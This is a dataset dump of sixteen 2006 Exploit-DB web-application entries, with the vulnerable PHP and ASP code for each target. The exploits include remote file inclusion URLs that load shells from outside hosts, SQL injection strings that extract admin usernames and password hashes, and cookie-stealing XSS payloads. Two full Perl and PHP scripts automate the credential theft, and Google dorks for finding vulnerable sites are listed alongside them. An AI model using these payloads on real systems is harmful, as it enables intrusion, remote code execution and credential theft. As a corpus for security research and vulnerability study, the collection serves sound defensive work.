QLWD/code_shield huggingface dataset:
标题: PBLang 4.66z - 'temppath' Remote File Inclusion EDB-ID: 2428 CVE: 2006-5062 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: #==============================================================================================
#Software PBLang <= v4.66z (temppath) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://sourceforge.net/projects/pblang/      
#                                                                      
#Version : 4.66z & All Versions Bellow                                            
#                                                        
#================================================================================================
#
#Dork : "Software PBLang 4.66z" & "Software PBLang 4.60" or "Software PBLang"
#
#================================================================================================
#Bug in : templates/pb/language/lang_nl.php
#
#Vlu Code :
#--------------------------------
#
#                 include($temppath.'/pb/language/lang_en.php');
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/templates/pb/language/lang_nl.php?temppath=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & HACKERS PAL & XoRoN & Simoo & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25] URL: https://www.exploit-db.com/exploits/2428
标题: BrudaGB 1.1 - '/admin/index.php' Remote File Inclusion EDB-ID: 2433 CVE: 2006-5068 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: #==============================================================================================
#BrudaGB <= v1.1 (o) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://www.brudaswen.de      
#                                                                      
#Version : v1.1 & 1.0                                            
#                                                        
#================================================================================================
#
#Example : http://www.brudaswen.de/scripts/BrudaGB_v11/
#
#================================================================================================
#Bug in : admin/index.php
#
#Vlu Code :
#--------------------------------
 <?
 if($_GET[o] != "")
 {
 include($_GET[o].".php");
  }
 BrudaNews();
   ?>
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/admin/index.php?o=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & simoo & Timq & XoRoN & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25] URL: https://www.exploit-db.com/exploits/2433
标题: BrudaNews 1.1 - '/admin/index.php' Remote File Inclusion EDB-ID: 2432 CVE: 2006-5068 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: #==============================================================================================
#BrudaNews <= v1.1 (o) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://www.brudaswen.de      
#                                                                      
#Version : v1.1 & 1.0                                            
#                                                        
#================================================================================================
#
#Example : http://www.nebelweb.de/php/news
#
#================================================================================================
#Bug in : admin/index.php
#
#Vlu Code :
#--------------------------------
 <?
 if($_GET[o] != "")
 {
 include($_GET[o].".php");
  }
 BrudaNews();
   ?>
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/admin/index.php?o=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & simoo & Timq & XoRoN & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25] URL: https://www.exploit-db.com/exploits/2432
标题: evoBB 0.3 - 'path' Remote File Inclusion EDB-ID: 2431 CVE: 2006-5087 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: #==============================================================================================
#evoBB <= v0.3 (path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://www.4yougratis.it/script_php/forum/evoBBv0.3.htm     
#                                                                      
#Version : v0.3                                            
#                                                        
#================================================================================================
#Bug in : track.php
#
#Vlu Code :
#--------------------------------
#
#        require_once($path.'connect.php');
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/track.php?path=http://SHELLURL.COM
#http://sitename.com/[Script Path]/connect.php?path=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & simoo & Timq & XoRoN & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25] URL: https://www.exploit-db.com/exploits/2431
标题: faceStones personal 2.0.42 - 'fs_form_links.php' File Inclusion EDB-ID: 2434 CVE: 2006-5070 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: #==============================================================================================
#faceStones personal <= v2.0.42 (objpath) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://www.facestones.de/fshtml/service/download/index.php
#                                                                      
#Version : v2.0.42                                            
#                                                        
#================================================================================================
#Bug in : fsl2/objects/fs_form_links.php
#
#Vlu Code :
#--------------------------------
#
#            include($GLOBALS['fsinit']['objpath'] . '/fs_display_indextab.php');
#
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/fsl2/objects/fs_form_links.php?GLOBALS[fsinit][objpath]=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & XoRoN & Timq & Simoo & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25] URL: https://www.exploit-db.com/exploits/2434
标题: Polaring 0.04.03 - 'general.php' Remote File Inclusion EDB-ID: 2427 CVE: 2006-5078 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-25 漏洞利用脚本: ###### ToXiC #########################
# 
#Polaring  Remote File Include
#
#BuG FounD  by Drago84
#
#Application Affect: Polaring  Remote File Include
#Source Code:
#http://sourceforge.net/project/showfiles.php?group_id=150989&package_id=166837&release_id=444225
#Problem:
#require($_SESSION['dirMain'].'/view/css.php');
#require($_SESSION['dirMain'].'/view/frontpage.php');
#require($_SESSION['dirMain'].'/view/navigation.php');
#require($_SESSION['dirMain'].'/view/gmaps.php');
#require($_SESSION['dirMain'].'/view/errorReport.php');
#Solution : Declare $_SESSION['dirMain']
#Page Vulnerable : general.php
#Dir             : /view/
# Exempe Of ExPloit is:
#http://www.site.com/polaring_dir/view/general.php?_SESSION['dirMain']=http://marcusbestlamer.gay/shell.php?

#GrEatZ All Member of ToXiC, Str0ke
# Fuck Sonic Il chan italiano + merdoso che esista
# ToXic Security Italian CreW

######
ToXiC
###################

# milw0rm.com [2006-09-25] URL: https://www.exploit-db.com/exploits/2427
标题: iyzi Forum 1.0 Beta 3 - SQL Injection EDB-ID: 2423 CVE: 2006-5054 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-24 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ iyzi Forum s1 b2 (tr) SQL Injection Vulnerability      +
+ Author  : Fix TR                                       +
+ Site    : www.hack.gen.tr                              +
+ Contact : fixtr[at]bsdmail.com                         +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Download & Info: http://www.aspindir.com/Goster/2981
Bug In         : uye_ayrinti.asp
Risk           : High

Exp:
http://[victim]/[path]/uye/uye_ayrinti.asp?uye_nu=1+union+select+1,kullanici_adi,null,null,null,null,sifre,null,null,null,null,null,null,null,null,null,null,null,null,null+from+iyzi_uyeler+where+editor+like+1

Password encrytped with SHA-256

# milw0rm.com [2006-09-24] URL: https://www.exploit-db.com/exploits/2423
标题: Spidey Blog Script 1.5 - 'proje_goster.asp' SQL Injection (2) EDB-ID: 2421 CVE: 2006-4202 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-24 漏洞利用脚本: #!usr/bin/perl

#Author : gega
#Google : "Spidey Blog Script (c) v1.5"
#SpideyBlog 1.5 Sql Injection Exploit
#Author Mail : gega.tr[at]gmail[dot]com
#Powered by e-hack.org
#Vulnerability by Asianeagle.
#Vulnerability Link : http://milw0rm.com/exploits/2186

use LWP::Simple;

print "\n==============================\n";
print "==      Spidey Blog v1.5    ==\n";
print "==   Sql Injection Exploit  ==\n";
print "==        Author : gega     ==\n";
print "==============================\n\n";

if(!$ARGV[0] or !$ARGV[0]=~/http/ or !$ARGV[1] or ($ARGV[1] ne 'password' and $ARGV[1] ne 'nick'))
{
 print "Usage : perl $0 [path] [function]\n";
 print "path ==> http://www.example.com/blog/\n";
 print "function ==> nick OR password\n";
 print "Example : perl $0 http://site.org/blog/ nick\n";
 exit(0);
}
else
{
 if($ARGV[1] eq 'nick'){
  $url=q[proje_goster.asp?pid=-1%20union%20select%200,1,2,3,4,kullanici_adi,6%20from%20uyeler%20where%20id%20like%201];
  $page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
  print "[+] Connected to: $ARGV[0]\n";
  $page=~m/<td width="100%" valign="top" height="19" colspan="3"><span class="normal_yazi">(.*?)<\/span><\/td>/ && print "[+] Username of administrator is: $1\n";
  print "[-] Unable to retrieve username\n" if(!$1); }
 else {
  $code=q[proje_goster.asp?pid=-1%20union%20select%200,1,2,3,4,sifre,6%20from%20uyeler%20where%20id%20like%201];
  $page=get($ARGV[0].$code) || die "[-]Unable to retrieve: $!";
  print "[+] Connected to: $ARGV[0]\n";
  $page=~m/<td width="100%" valign="top" height="19" colspan="3"><span class="normal_yazi">(.*?)<\/span><\/td>/ && print "[+] MD5 hash of password is: $1\n";
  print "[-] Unable to retrieve password\n" if(!$1);
 }
}
 
#To Be Or Not To Be!

# milw0rm.com [2006-09-24] URL: https://www.exploit-db.com/exploits/2421
标题: SyntaxCMS 1.3 - '0004_init_urls.php' Remote File Inclusion EDB-ID: 2424 CVE: 2006-5055 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-24 漏洞利用脚本: Remote File Include in syntaxCMS

Vulnerable File:
0004_init_urls.php

Vulnerable Code:

   1  <?php

   2  include_once( $init_path . '/init.urls.php' );

   3  ?>

PoC:
http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004_init_urls.php?init_path=http://YourShell?&

Solution:

Remove This File...it's not needed...just used for tests

Found by MoHaJaLi

Greetz to Eddy_BAck0o

# milw0rm.com [2006-09-24] URL: https://www.exploit-db.com/exploits/2424
标题: ZoomStats 1.0.2 - 'mysql.php' Remote File Inclusion EDB-ID: 2420 CVE: 2006-5065 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-24 漏洞利用脚本: ###### ToXiC #########################
#
#BuG FounD  by Drago84
#
#Application Affect:ZoomStats
#Source Code:
#http://prdownloads.sourceforge.net/zoomstats/ZoomStats-v1.0.2.zip?use_mirror=kent
#Problem:
#$GLOBALS['lib']['db']['path'] array not declare
#Solution : $GLOBALS['lib']['db']['path']
#Page Vulnerable : mysql.php
#Dir Page: /libs/dbmax/
# Exempe Of ExPloit is:
#http://www.site.com/zoomstats/libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']=http://marcusbestlamer.gay/shell.php?
#GrEatZ All Member of ToXiC, Str0ke
# ToXic Security
###### ToXiC ###Drago84###############

# milw0rm.com [2006-09-24] URL: https://www.exploit-db.com/exploits/2420
标题: Wili-CMS 0.1.1 - Remote File Inclusion / Cross-Site Scripting / Full Path Disclosure EDB-ID: 2414 CVE: 2006-4989 2006-4988 2006-4987 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: Wili-CMS Multiple Input Validation Vulnerabilities

Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net


Remote include
example-view/templates/article.php?globals[content_dir]=http://psevil.googlepages.com/cmd.txt?
example-view/templates/root.php?globals[content_dir]=http://psevil.googlepages.com/cmd.txt?
example-view/templates/dates_list.php?globals[content_dir]=http://psevil.googlepages.com/cmd.txt?


Xss
http://localhost/vul/wili-cms/relocate.php?<script>alert(document.cookie);</script>
http://localhost/vul/wili-cms/example-view/inc/print_button.php?globals[pageid]="><script>alert(document.cookie);</script>


Full path
thumbnail.php?filename=global_variables.php
functions/admin/all.php
functions/admin/init_session.php
functions/all.php
example-view/admin_templates/ any_file.php

and many other Xss and Full path vulnerabilities
#WwW.SoQoR.NeT

# milw0rm.com [2006-09-21] URL: https://www.exploit-db.com/exploits/2414
标题: Advaced-Clan-Script 3.4 - 'mcf.php' Remote File Inclusion EDB-ID: 2422 CVE: 2006-5061 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-24 漏洞利用脚本: *~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*              .___.__     
*   ___  ___ __| _/|  |__  
*   \  \/  // __ | |  |  \
*    >    </ /_/ | |   Y  \
*   /__/\_ \____ | |___|  /
*         \/    \/      \/  discovered by xdh
*
*
*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*    {Critical Level}: Dangerous   
*    {Class}: Remote File Inclusion                                           
*    {Venedor site}: http://avc.x.philipwette.de/     
*    {Version}: AdVancedClanscript < 3.4       
*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*
* VUln:
* Filename: mcf.php
* Line: 70:include("$content");
*        
*    usage: http://www.test.com/path/mcf.php?content=xpl
*
*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*    greetz ² morgan, nethug-47, r00t, tz4r, x2k,
*         jack, id and many others  
*          /server -m irc.root.net.ve -j #morgan
*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# milw0rm.com [2006-09-24] URL: https://www.exploit-db.com/exploits/2422
标题: xweblog 2.1 - 'kategori.asp' SQL Injection EDB-ID: 2416 CVE: 2006-5023 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-22 漏洞利用脚本: # xweblog <= 2.1 (tr) (kategori.asp)Remote SQL Injection Vulnerability

# Author : Muhacir

# Source : http://www.aspindir.com/goster/4386

# Exploit : http://www.victim.com/[xweblog path]/kategori.asp?kategori=-1%20union%20select%200,ad,2,3,4,5,6,7,8,9,sifre,11,12%20from%20uyeler

# Greetz To : str0ke :)

# milw0rm.com [2006-09-22] URL: https://www.exploit-db.com/exploits/2416
标题: Web-News 1.6.3 - 'template.php' Remote File Inclusion EDB-ID: 2419 CVE: 2006-5053 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-24 漏洞利用脚本: ###### ToXiC #########################
#
#BuG FounD  by Drago84
#
#Application Affect: WebNews
#Source Code:
#http://prdownloads.sourceforge.net/web-news/WebNews-1.6.3.zip?use_mirror=superb-west
#Problem:
# <?
#            include($content_page);
# ?>
#Solution : Declare $content_page
#Page Vulnerable : template.php

# Exempe Of ExPloit is:
#http://www.site.com/webnews/template.php?content_page=http://marcusbestlamer.gay/shell.php?
#GrEatZ All Member of ToXiC, Str0ke
# ToXic Security
###### ToXiC #########################

# milw0rm.com [2006-09-24] URL: https://www.exploit-db.com/exploits/2419
标题: phpQuestionnaire 3.12 - 'phpQRootDir' Remote File Inclusion EDB-ID: 2410 CVE: 2006-4966 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-21 漏洞利用脚本: #############################SolpotCrew Community################################
#
#  phpQuestionnaire 3.12 (GLOBALS[phpQRootDir]) Remote File Inclusion
#
#  vendor : http://www.chumpsoft.com/products/phpq/
#
#################################################################################
#
#
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (21-09-2006)
#
#       contact: chris_hasibuan@yahoo.com
#
#       Website : http://www.nyubicrew.org/adv/solpot-adv-08.txt
#
################################################################################
#
#
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet-homo
#              Blue|spy , cah|gemblung , Slacky , blind_boy , camagenta , XdikaX
#              x-ace , Dalmet , th3sn0wbr4in , iFX , ^YoGa^
#              and all member solpotcrew community
#              especially thx to str0ke @ milw0rm.com
#
###############################################################################
Input passed to the "GLOBALS[phpQRootDir]" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.

code from inc/ifunctions.php

################################################################################
# phpQuestionnaire                           Version 3.12                      #
# Copyright 2003-2006 chumpsoft, inc.        August 7, 2006                    #
# http://www.chumpsoft.com/products/phpq/    support@chumpsoft.com             #
################################################################################
# Use of this program constitutes your agreement to the terms contained in the #
# LICENSE file within this distribution.                                       #
################################################################################

include($GLOBALS["phpQRootDir"] . "inc/tableformat.php");

function ImportSurvey ($fp, $type, $flag) {
       set_time_limit(600);  # Attempt to disable time limit in case upgrade takes long


google dork : "phpQuestionnaire v3"

exploit : http://somehost/path_to_phpQuestionnaire/inc/ifunctions.php?GLOBALS[phpQRootDir]=http://evil

##############################MY LOVE JUST FOR U RIE#########################
######################################E.O.F##################################

# milw0rm.com [2006-09-21] URL: https://www.exploit-db.com/exploits/2410
标题: e-Vision CMS 2.0 - 'all_users.php' SQL Injection EDB-ID: 2418 CVE: 2006-5017 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-22 漏洞利用脚本: #!/usr/bin/php -q -d short_open_tag=on
<?
/*
/* e-Vision CMS Remote sql injection exploit
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/* e-Vision CMS Remote sql injection exploit  */
/*    by HACKERS PAL <security@soqor.net>     */
/*        site: http://www.soqor.net          */');
if ($argc<2) {
 print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/evision
/**********************************************/
');
 die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$url=$argv[1];
$exploit="/admin/all_users.php?from=-1%20union%20select%20null,null,null,username,null%20from%20users%20where%20idusers=1/*";
$exploit2="/admin/all_users.php?from=-1%20union%20select%20null,null,null,pass,null%20from%20users%20where%20idusers=1/*";

Function get_page($url)
{

 if(function_exists("file_get_contents"))
 {

  $contents = file_get_contents($url);

 }
 else
 {
  $fp=fopen("$url","r");
  while($line=fread($fp,1024))
  {
   $contents=$contents.$line;
  }


 }
 return $contents;
}

function get($var)
{
 if(strlen($var[1])>0)
 {
  Echo trim($var[1]);
 }
}

$page = get_page($url.$exploit);
$page2 = get_page($url.$exploit2);

if(preg_match('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is',$page))
{
 Echo "\n[+] User Name : ";
 preg_replace_callback('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is','get',$page);
 Echo "\n[+] Pass Word : ";
 preg_replace_callback('/\<td bgcolor=\"#C2D4E8\">(.+?)<\/td\>/is','get',$page2);
 Die("\n/* Visit us : WwW.SoQoR.NeT                   */\n/**********************************************/");
}

Die("\n[-] Exploit Failed\n/* Visit us : WwW.SoQoR.NeT                   */\n/**********************************************/");
?>

# milw0rm.com [2006-09-22] URL: https://www.exploit-db.com/exploits/2418